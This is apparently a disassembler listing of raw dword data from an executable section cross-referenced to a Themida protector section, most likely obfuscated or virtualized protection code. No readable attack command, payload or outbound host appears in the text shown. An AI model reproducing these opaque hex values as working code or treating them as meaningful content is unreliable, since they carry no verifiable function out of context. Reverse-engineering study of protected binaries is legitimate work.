		dd 51410000h, 0B58B07C3h, 6061509h, 0B58B00B0h,	60629A9h
		dd 810F70E6h, 6, 2CCDBD89h, 0BF0F0606h,	0F71E4F6h, 1087h
		dd 0BE900h, 29140000h, 0BAC7CDC6h, 8D62A347h, 0F613C12h
		dd 24583h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1404h, 0C3504000h, 0B70F6098h, 0B60F61C9h, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 6BA67CBh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 8C3C350h, 0B654AC30h
		dd 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B58B1AC3h, 6061B65h, 6604E8C1h, 664FDCBEh
		dd 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0E6E17FC3h, 8166D82Bh, 583159CEh,	0EE9h
		dd 92F42200h, 3FA6FF36h, 4696EE60h, 2B6A61BDh, 6F880FD8h
		dd 0B9000001h, 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0EEC35141h, 4C24B435h, 83044C8Dh
dword_582368	dd 0B58B00C1h, 6063421h, 860FD93Bh, 136h, 0E850006Ah, 3
					; DATA XREF: Themida_:0056D348o
		dd 58C35820h, 4244489h,	4244481h, 14h, 0D9C35040h, 2AD9B533h
		dd 10E80606h, 0D1000000h, 0DDAC07ACh, 618B024Bh, 0A0F77568h
		dd 5E0E8BD1h, 89D98C66h, 61EADB5h, 4C1F606h, 0C5840Fh
		dd 0F600000h, 8Fh, 0CE800h, 25FE0000h, 7FA5C74Eh, 0D436394Eh
		dd 0F1BFE712h, 5E5B1C39h, 0F195FF61h, 6A06061Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0CB09C350h, 0D19D09CFh, 5B060601h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0FCC35646h,	1FDB58Bh, 0C32B0606h
		dd 3DF2BF0Fh, 834h, 49860Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 5B8BACC3h
		dd 0C95E453Ah, 0E9F4E17Dh, 46h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 61C35747h, 8BC86DE4h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 6C53225Eh, 6D5EBEC6h, 0C38B6DE0h, 0BF0FD88Bh, 1985C7F2h
		dd 0F7060626h, 8B77D761h, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 2DAF3C5Ch
		dd 0CBB7AD8h, 0D6816657h, 605E18E9h, 31658D8Bh,	0F2810606h
		dd 2600C7C5h, 95BD8161h, 0D0060624h, 0F000007h,	3285h
		dd 419D2900h, 0FF06061Bh, 6249585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 58DC79FDh
		dd 24BE6A00h, 0FF06B891h, 62495B5h, 95FFF906h, 6061AC9h
		dd 90F1B70Fh, 6AD88Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0B1E9FFC3h, 3AD8ED5Dh, 83A235A4h
		dd 63415BDh, 840F0006h,	3Eh, 0EC8AFC60h, 280E961h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 3A612DC3h, 0FE9CE63h, 4000000h, 0FC04C927h, 791A93C9h
		dd 9965E033h, 0DF8CFAB8h, 8959589h, 0F7660606h,	0F0004C7h
		dd 23985h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0D583ABD9h, 0FF2BE935h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 40C35141h, 10219D29h
		dd 8B660606h, 819D8DF3h, 6A0609E3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 43EFC356h
		dd 88D67061h, 8E11369Ch, 1810Fh, 93F50000h, 7B20BE66h
		dd 11E850h, 0F20A0000h,	0A7F4DD17h, 0CD27C866h,	8AFFAA1Eh
		dd 50EC7C92h, 0F616052h, 13E831h, 373D0000h, 36307222h
		dd 1D3064Dh, 0C3F75E8Bh, 0C376969Eh, 585A5E8Fh,	0FF64935Eh
		dd 35h,	0CDB58B00h, 6406061Eh, 2589h, 81600000h, 0EC462DC8h
		dd 0FF38B855h, 8B6168DFh, 57006AC4h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 6A81AE0Ah
		dd 4C097970h, 68B0FC0h,	89000000h, 61AA985h, 0F6BF0F06h
		dd 0EB01CDh, 1241BD89h,	8F640606h, 5, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 4D74549Ah, 68B0Fh, 66500000h, 5E1F1ABEh, 0F9BD8952h
		dd 5E060619h, 0C4835E52h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0BD8E428Fh
		dd 0FF51C79h, 86h, 0FC00B00h, 0B184h, 0E5B52300h, 8D06062Ah
		dd 64ED2BDh, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 666DBEDEh, 5B820E4h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0D3AEC350h, 3D8D8969h, 0FF06061Bh, 8B57F8E7h, 8B10245Ch
		dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 28F0Fh, 5E570000h, 14459D31h, 6A0606h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0B61F20C3h, 9AC295F1h, 664AFBE1h, 0CA2BF78Bh, 0FFF630E9h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 479CC7FFh, 5F1FFFA5h, 0C18B2017h, 2319BD8Bh
		dd 0B5030606h, 60604B9h, 4EBh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0EB52B8C3h
		dd 4C5BA5ABh, 59B50BBAh, 6A06060Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7FBAC355h
		dd 2369858Dh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 41E226C3h, 6917CADh, 5050662Fh
		dd 2404895Eh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0F8C35747h, 850F006Ah, 22h, 0EE8h, 0D9299100h
		dd 0C59E90CDh, 0BC1602ECh, 0E9F3FB98h, 9, 900E1D33h, 2668DCE9h
		dd 6A5E9Ch, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 18h,	3CC35141h, 652915B9h, 2E4DB523h, 858D0606h, 609E61Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 12C35545h
		dd 517968C5h, 0E805C083h, 9, 0E474EDE1h, 0B7A24556h, 13E98Eh
		dd 96110000h, 0DB6817D7h, 72B4DB16h, 0B09ED5E2h, 0A2848D94h
		dd 0E8505FC0h, 10h, 79E9F754h, 423883A0h, 0F51FB5D1h, 0D67D9C65h
		dd 0AE8h, 75A97200h, 7818E57Eh,	669FC798h, 5FC17BBFh, 2404895Fh
		dd 28F0Fh, 0F18B0000h, 8B66006Ah, 959D89F8h, 6A06060Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0AD15C591h, 0AA49B4C8h, 0B58B72E0h, 6060805h
		dd 0C1816660h, 85898CE5h, 6060259h, 9D95FF61h, 0E906062Fh
		dd 13h,	0C02D263h, 10325308h, 0C4F872FAh, 89BF2C6h, 8D7C7798h
		dd 995159Dh, 0C870F06h,	0E9000000h, 7, 0E31A9DA4h, 0FF8F501Ch
		dd 0C8F0FD3h, 0F000000h, 683h, 71BD8900h, 0FF060628h, 60F5D85h
		dd 0F1BD2906h, 0E9060625h, 831h, 0E8h, 0ED815D00h, 609E628h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 3FC35646h
		dd 1FF4F5ACh, 7C1B58Bh,	0BD810606h, 6062495h, 7D0h, 15C860Fh
		dd 0BD8B0000h, 6062D11h, 0E459D8Bh, 0E3810606h,	100h, 216D8589h
		dd 0DB0B0606h, 0C9850Fh, 89BF0000h, 8356CC39h, 9E415BDh
		dd 840F0006h, 53h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 2DC35545h, 8BE4244Ch,	0FA8B66FAh, 0FC5BD8Bh
		dd 0C5E90606h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 24F4C351h, 1DB58B8Ch
		dd 0C7060629h, 9E41585h, 106h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 6DB6F34Ah
		dd 12C53CD2h, 880FA5CEh, 6, 2865BD8Bh, 81660606h, 0E9C7C3CFh
		dd 5Ch,	14E9h, 0E1346100h
		dd 0F8D30F8Dh, 75623B7Fh, 47E2A479h, 235D97DBh,	69BD8B82h
		dd 0C7060610h, 9E41585h, 6, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 646B534Fh
		dd 1FCB39EDh, 345B589h,	850F0606h, 4, 153BF66h,	0E459D8Dh
		dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 3737B8C3h, 0FEFF2381h, 0EF81FFFFh, 2CC1C297h
		dd 1099B58Bh, 8C660606h, 665E50DBh, 0C3F6F78Bh,	54840F04h
		dd 0B000000h, 61C95BDh,	0F195FF06h, 8106061Fh, 61368E7h
		dd 7E95027h, 0F3000000h, 0A7C30E0Eh, 4899A8Fh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0AE18CBE4h, 0E4CEC327h, 870F76D0h, 7, 1850Fh, 0E9F50000h
		dd 430h, 2341BD8Bh, 0B00606h, 14E8h, 0E2A0400h,	2BDEB9E7h
		dd 223FD8D8h, 0EC7F136Ah, 44034B1Ch, 0DDB58B31h, 5E060617h
		dd 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0AE6FBC3h, 0E4048D14h, 55006A71h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D8B60F7Dh
		dd 6BAh, 0F9BD2B00h, 8B060625h,	52006AC3h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0B50980A4h
		dd 0B13792C7h, 14E8h, 0A1336800h, 0B8C973E9h, 7E50C58Ah
		dd 0E6B8359Ah, 5FF120F9h, 0D6816609h, 0C15E529Bh, 0F76604E8h
		dd 9D9D89E2h, 2B060615h, 665750D8h, 5FAB66BEh, 6A241C89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0C2F1C356h, 1EA03EDEh, 0D01DF5C7h, 2495B5FFh
		dd 0BD0B0606h, 6062E45h, 1AC995FFh, 14E80606h, 12000000h
		dd 89A6B170h, 0C99A5ABDh, 889D72D1h, 870515EDh,	0E9B1535Dh
		dd 0Bh,	720D4DC7h, 0D6DA2821h, 5F200BF2h, 8A0F00B0h, 6
		dd 0B908C781h, 70E61FBDh, 6A71E4F5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F024C350h
		dd 0F5C7405h, 8Bh, 0F613C00h, 2BB83h, 0B58B5200h, 606033Dh
		dd 0D8B60F5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	36C35040h, 0DBE42779h, 2591B58Bh, 81660606h, 9149DF6h
		dd 62B15B5h, 6BA06h, 80BE0000h,	8B4D9DB3h, 0FBE781C3h
		dd 0F000E14h, 0E8C1F8B7h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 9B30956h, 613D995h
		dd 0E2F76606h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	1EC35040h, 0B58B816Bh, 6061FF5h, 6AD82Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 54CB00C3h, 29002D47h, 0A1B509FAh, 8906061Ch,	610DD9Dh
		dd 6A5806h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 1D376EC3h, 8957AD2Ah, 62AF5B5h, 0FD82B06h
		dd 1BB88h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0F421063Bh, 0DC61B76Bh, 8B6674E0h
		dd 0C1B58BF1h, 0B9060611h, 7, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 9DC35242h, 0B58B5747h, 60620CDh
		dd 0C1835Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0AAC35545h, 0DA2F8A1Ah,	60E39123h, 8B63ED80h, 8B6061CEh
		dd 60F89B5h, 95B50106h,	6106062Ah, 860FD93Bh, 120h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D4C35040h, 4D8F7BDh
		dd 66C4425Dh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 5EBF86C3h, 0A1BD8B43h, 0F6060607h
		dd 840F04C1h, 0AEh, 0EE8BF66h, 1FF195FFh, 8D010606h, 60601E9h
		dd 52006A5Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 9409110Bh, 0C32BF194h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 7AC35646h, 343DFC84h, 0F000008h
		dd 5186h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0DB6D34Dh, 466F976Dh, 47E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 290271EFh, 330D7494h, 33B99589h, 0C08B0606h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D4C35141h, 0D88BC38Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C9C35343h
		dd 0BA1E9D40h, 57B59998h, 0F2B70F1Eh, 44185C7h,	55FB0606h
		dd 8B50742Eh, 6237DB5h,	0C08B5E06h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 12C35747h, 3890Fh, 0BF0F0000h
		dd 95BD81FEh, 0D0060624h, 0F000007h, 3485h, 65852900h
		dd 0FF060623h, 6249585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 81661C31h, 8B38A9C7h
		dd 61689BDh, 95B5FF06h,	0F060624h, 82h,	0C995FF00h, 6A06061Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 8AACC352h, 981A5021h, 8BD0D2F9h, 63371B5h
		dd 6A9006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 38B969C3h, 99BD8928h, 6A06061Eh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0C6FC357h, 0B70F03C7h, 146ABFFAh, 0F18B4FE1h, 0BD8B6051h
		dd 6060411h, 0AE9h, 0D531D000h,	9A17492Bh, 80F615A4h, 5E6101C1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CAC35040h
		dd 0DB977946h, 8B661507h, 418D89F0h, 0E906061Ah, 10h, 2D620329h
		dd 3D168EDh, 9D8BBE8Ah,	9FB5EE7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0FC35242h, 294055B7h, 66821B3Ah
		dd 0B501F78Bh, 60631D9h, 2051B58Bh, 0CE90606h, 7D000000h
		dd 2C7A55Fh, 8AA1622Fh,	6A628704h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A652C355h
		dd 0D355F054h, 0FFF7CFE9h, 0FC18BFFh, 683h, 0DDB58B00h
		dd 0EB060623h, 4, 0E9853100h, 0E9060601h, 0Ch, 463D6729h
		dd 0DEA1AEEAh, 2A0EF7C3h, 2369858Dh, 6A0606h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 306D7CC3h
		dd 51D7001Bh, 39BD8B46h, 31060622h, 617C18Dh, 19858906h
		dd 90060625h, 0F525050h, 0F525031h, 5A585A31h, 66505E58h
		dd 9052CBBEh, 0CE8h, 4377E500h,	98D8EB29h, 0D12B9D27h
		dd 0FA8B667Ch, 52006A5Eh, 28F0Fh, 0F98B0000h, 8B006A5Eh
		dd 60EC5BDh, 0A858D06h,	0BF0609F0h, 6DB5E5ABh, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0A3BDC357h, 61808C50h, 8B2638D7h,	620E1BDh
		dd 0D0BF5006h, 8919CA34h
		dd 85892404h, 6062BA9h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 62E0BAC3h, 5C00C681h
		dd 6A3112h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Bh,	0FC35747h, 8DCB9769h, 0FFCE9A61h, 62F9D95h, 0DE816606h
		dd 9D8DCA22h, 6099515h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 4DC35646h, 68A6DE7Ah,	0E7094240h, 6AD3FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 34AC90C3h, 5D85FF42h, 6A06060Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 78F4C350h
		dd 38CF8134h, 0E9730310h, 763h,	0E8h, 0ED815D00h, 609F014h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0A5C35040h
		dd 3A9B589h, 0BD810606h, 6062495h, 7D0h, 13E860Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0FE95FC3h, 0DF000000h, 0F81A3066h, 317E29DCh, 501E131Bh
		dd 9D8B3D71h, 6061DD9h,	159D8D89h, 0E3810606h, 100h, 13E9h
		dd 17549B00h, 804791FFh, 0B00C2A92h, 0A774A672h, 4E783EE6h
		dd 850FDB0Bh, 6Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 2C35747h, 20FED821h, 158D898Ch, 8306062Ch
		dd 9EE64BDh, 840F0006h,	1Bh, 1ADDB589h,	65E90606h, 0E9000000h
		dd 0Bh,	480CC2DFh, 65B9ECCAh, 0C74A3E28h, 9EE6485h, 106h
		dd 9DB58B00h, 0E906061Dh, 40h, 1EF5B58Bh, 85C70606h, 609EE64h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D2C35141h
		dd 88A0Fh, 850F0000h, 2, 0B58BF18Bh, 6060FD9h, 1DD99D8Dh
		dd 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 283978C3h, 66A3C882h, 9893D681h, 0FEFF2381h
		dd 0B58BFFFFh, 6062CBDh, 6ADB8C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 749AC353h
		dd 0BD315FFBh, 6061579h, 0F04C3F6h, 3E84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0B8617B6Ch, 59D8972h, 0FF060626h, 61FF195h, 0D9DE8106h
		dd 506AC253h, 820Fh, 4890000h, 0E9F98B24h, 37Dh, 0B0F78Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5EC35242h
		dd 1B85661Ah, 70E6D507h, 0EE9h,	0AF174400h, 5BA2C1DEh
		dd 0D7EEA373h, 0E430E71Fh, 15BD0B71h, 0F06062Fh, 6BAD8B6h
		dd 0BF000000h, 0A3B9C1h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0C1F835C3h, 0D1B08134h
		dd 0BF0FDAFBh, 4E8C1F3h, 0B1EBE66h, 6AE2F766h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 2B8BC355h, 8B6693D8h, 8B6650F8h, 8F0F93FEh, 3, 0FFF98B66h
		dd 62495B5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 601C0AFEh, 2ED1BD8Bh, 66610606h
		dd 0FF4D65BFh, 61AC995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0E3BE3229h, 3D8D89A0h
		dd 0B0060613h, 9EBE5600h, 5F110115h, 0B70F70E6h, 0C99D89F8h
		dd 0E4060631h, 56006A71h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 75461E11h, 0F7BF0F85h
		dd 830F613Ch, 22Dh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0EDC35343h, 60D337F4h, 0D8B60F32h, 0AE8h
		dd 0C01C3300h, 9159938h, 0FF1F0F0h, 282h, 5E5E5300h, 6BAh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 59E36D41h, 2E890F05h, 0E8000000h, 11h, 4AB34D65h
		dd 0E3B58D57h, 14A29061h, 6FA97C25h, 12E918h, 60710000h
		dd 0C3F688E0h, 0A608A90Fh, 997EC1E2h, 3B49B763h, 0E9C38B5Eh
		dd 11h,	0DB912BDDh, 734AE749h, 4ECA9260h, 268152DEh, 4E8C1ABh
		dd 1A319589h, 0F7660606h, 5B58BE2h, 2B060613h, 0C7C681D8h
		dd 5800C63Bh, 1A41BD8Bh, 0D82B0606h, 157880Fh, 7B90000h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 9355C356h, 83A7D2E6h, 0D93B00C1h
		dd 127860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 3F5E83C3h, 9E93368h, 0C6000000h
		dd 0FD14BAA2h, 1FB789D0h, 14A59589h, 8C660606h,	56006AD9h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0B80E75B9h, 0E9DA9599h, 0Fh,	2BE37785h, 809A7BEFh, 48DCC96Fh
		dd 8BA0343Ah, 4C1F6F0h,	0A7840Fh, 10E80000h, 92000000h
		dd 385FDA43h, 356E2F1Eh, 0EB061534h, 8BB8035Fh,	60D99BDh
		dd 95FF5E06h, 6061FF1h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 5CC35242h, 0DF7E0FE2h, 0F9B70F0Ah, 51006A5Bh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0AEF28B45h, 12870Fh,	6E80000h, 78000000h, 52189F4Bh
		dd 595890Bh, 5F060602h,	0DF81C32Bh, 6B0D6028h, 8343Dh
		dd 16860F00h, 89000000h, 625D985h, 13E906h, 870F0000h
		dd 5, 71E7DCBEh, 89C08B13h, 6046185h, 8BC38B06h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 67F15823h, 3ABFBDF5h, 0C73D90B4h, 60E4585h, 0C653F506h
		dd 52006A32h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 6AC08B04h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0CE2DC350h,	0FFBBF0Fh
		dd 584h, 0F7816600h, 0BD811FFDh, 6062495h, 7D0h, 47850Fh
		dd 0AE90000h, 70000000h, 61EF31AAh, 233B364h, 9585FF63h
		dd 6A060624h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 88EDC355h, 61E9CFDDh, 0B58B03DEh
		dd 60603E9h, 3810Fh, 8B660000h,	95B5FFF9h, 0F060624h, 95FFF9B7h
		dd 6061AC9h, 1EC19589h,	0BE900606h, 487F03FCh, 155BD09h
		dd 0BD8B0606h, 60624CDh, 38D0Fh, 8B660000h, 52006AFEh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 7AF03309h, 6A6C8E63h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 8C8EC352h, 2B31BD89h
		dd 95890606h, 6061F11h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0C9C35343h, 13084C31h, 0DA28B15h, 1BD18531h
		dd 85890606h, 606250Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0E5C35747h, 39A9447h,	3239685h, 60805B5h
		dd 0F78B6606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	9BC35141h, 2D558531h, 0EE90606h, 8A000000h, 0FD6DC3DCh
		dd 0A89FDB4Fh, 0F112060Ah, 0BE6656B9h, 8B5FE0D5h, 600A1B5h
		dd 0F8A2E906h, 0B70FFFFFh, 8BF08BF6h, 4EBC1h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0B164C353h, 0FBF5BD72h, 880F60h, 61000000h
		dd 6860Fh, 0B58B0000h, 60624E1h, 0F45BD2Bh, 858D0606h
		dd 6062369h, 5A87DBEh, 0BE9504Fh, 8000000h, 6B1D7E5Dh
		dd 25D9D1FEh, 489A46Fh,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 2DF2F870h, 6A8FFDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A0C35343h, 0FB8B66A3h
		dd 2F158589h, 6A0606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0C8C35545h, 0F95E858Dh, 6A0609h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8BD637C3h, 61679BDh,	5C08306h, 0EE9h, 7BD25200h, 8302135Fh
		dd 3B8D55A2h, 90F59958h, 0CFEDF4BEh, 6A905038h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 786BC353h, 3E5D48F5h, 6AF28Bh, 0B5D9D31h, 6A0606h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 46C35242h, 0C76813EDh
		dd 8E0F4EAFh, 6, 3B1B58Bh, 95FF0606h, 6062F9Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 9FC35646h, 0B53393E3h
		dd 60611EDh, 95159D8Dh,	6A0609h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h
		dd 57470000h, 89D866C3h, 6337185h, 8BD3FF06h, 61439BDh
		dd 5D85FF06h, 6A06060Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0AEFBC351h,	0E9F99C20h
		dd 6FAh, 0E8h, 0ED815D00h, 609F968h, 7830Fh, 66560000h
		dd 1411DE81h, 95BD815Eh, 0D0060624h, 0F000007h,	12086h
		dd 8BF98B00h, 6138D9Dh,	5E906h,	3D710000h, 185FC60h, 61BF59Dh
		dd 0E38106h, 6A000001h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9F83C352h, 8B42FA80h
		dd 6E9h, 5A531000h, 8B74ACD0h, 62761BDh, 0FDB0B06h, 6D85h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0E6CABA60h, 89527B3Bh, 61A318Dh,	0BD835F06h
		dd 609F776h, 1C840F00h,	0E9000000h, 42h, 12E9h,	5B24E100h
		dd 3EF53EADh, 0B015168Dh, 682C6585h, 0C7A44896h, 9F77685h
		dd 106h, 2D9D8900h, 0E9060627h,	16h, 390EBEFCh,	85C75357h
		dd 609F776h, 0
		dd 1509B58Bh, 9D8D0606h, 606138Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0AAC35242h,	53685F8Ah, 0FF238192h
		dd 6AFFFFFEh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
